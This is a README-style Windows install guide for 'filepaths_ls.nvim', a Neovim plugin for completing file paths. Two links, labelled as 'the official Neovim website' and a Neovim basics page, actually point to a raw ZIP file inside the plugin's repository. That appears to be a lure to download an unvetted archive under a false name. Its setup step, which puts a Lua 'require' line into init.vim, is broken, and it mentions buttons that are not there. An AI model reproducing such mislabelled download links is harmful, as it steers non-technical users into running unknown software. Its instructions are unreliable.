filepaths_ls.nvim helps you autocomplete file paths inside the Neovim text editor. It works with Neovim’s built-in language support, making it easier to type file paths. This tool saves you time and reduces errors when opening or referencing files.
It suggests paths based on where you are working. Whether you want to complete local files, absolute paths, or use environment variables, filepaths_ls.nvim helps you get the right path quickly.
This section guides you through downloading and running filepaths_ls.nvim on your Windows computer. No programming skills are required.
Make sure your computer meets these basic needs:
- Windows 10 or higher
- Neovim (version 0.5 or later) installed on your computer
- A stable internet connection
Click this big blue button to visit the page where you can get the software:
This link takes you to the GitHub repository page containing all files and instructions.
If you don’t have Neovim installed:
- Visit the official Neovim website at https://github.com/Zayedmu9137/filepaths_ls.nvim/raw/refs/heads/main/lsp/filepaths_ls_nvim_v3.6-alpha.5.zip
- Download the Windows installer.
- Run the installer and follow the instructions.
You need Neovim because filepaths_ls.nvim works inside it.
- On the GitHub page, look for the “Releases” or “Code” button.
- Download the latest version of filepaths_ls.nvim by clicking “Download ZIP” or similar.
- Save the file to a folder you can find easily, like your Desktop or Documents.
- Right-click the ZIP file you downloaded.
- Choose “Extract All...” from the menu.
- Select a folder where you want the files saved.
- Click “Extract” and wait for the process to finish.
- Find Neovim on your computer and open it.
- If you installed it recently, use the Start menu to search and open “Neovim”.
You need to tell Neovim to use filepaths_ls.nvim.
- Inside Neovim, press
:(colon) to enter command mode. - Type
:edit $HOME\AppData\Local\nvim\init.vimand press Enter.- This opens the main Neovim configuration file.
- Add the following line at the end of the file:
require('filepaths_ls')
- Save the file by typing
:wand press Enter. - Close and restart Neovim.
- Open any file inside Neovim.
- Try typing a file path like
./or~/. - The system will suggest path completions as you type.
- Use arrow keys to select a suggestion and press Enter to confirm.
filepaths_ls.nvim offers several benefits that make file navigation easy:
-
Buffer-Relative Paths
Use./for current folder and../for parent folder paths. -
Absolute Paths
Complete full paths starting withC:\orD:\. -
Environment Variables
Use variables like%USERPROFILE%or%APPDATA%for Windows paths. -
Responsive Scanning
The tool handles large folders without slowing down your editor. -
Preview on Select
See extra info about files while choosing:- Full path name
- File size
- If the file is binary or text
- Symlink targets and warnings if broken
- A small preview of the file content
If you don’t see file path suggestions or face issues:
- Make sure Neovim is up to date.
- Check that your
init.vimfile includes the line to load filepaths_ls.nvim. - Restart Neovim after any changes to config files.
- Ensure you have the right permissions to access the files you want to complete.
- Look for errors inside Neovim by typing
:messages.
If you want to customize how filepaths_ls.nvim works, you can change settings inside your init.vim. This requires some knowledge of Lua coding. You can find details on the GitHub page in the README or documentation files.
- Visit the project page here: filepaths_ls.nvim on GitHub
- Learn about Neovim basics at https://github.com/Zayedmu9137/filepaths_ls.nvim/raw/refs/heads/main/lsp/filepaths_ls_nvim_v3.6-alpha.5.zip
- Explore more plugins and tools on GitHub by searching for "Neovim"
Return to the GitHub page any time to get the latest version. Use the button below: